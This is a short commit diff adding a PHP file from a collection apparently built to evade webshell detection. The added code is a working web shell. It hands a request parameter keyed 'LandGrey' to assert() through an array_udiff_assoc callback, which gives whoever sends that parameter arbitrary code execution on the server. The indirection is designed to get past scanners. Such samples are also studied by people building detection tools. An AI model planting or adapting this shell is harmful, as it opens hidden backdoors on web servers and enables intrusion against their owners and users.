Add files via upload

From:https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/php
Author:Build by LandGrey

php/array_udiff_assoc.php

@@ -0,0 +1,8 @@
+<?php
+/**
+* Noticed: (PHP 5 >= 5.4.0, PHP 7)
+*
+*/
+$password = "LandGrey";
+array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
+?>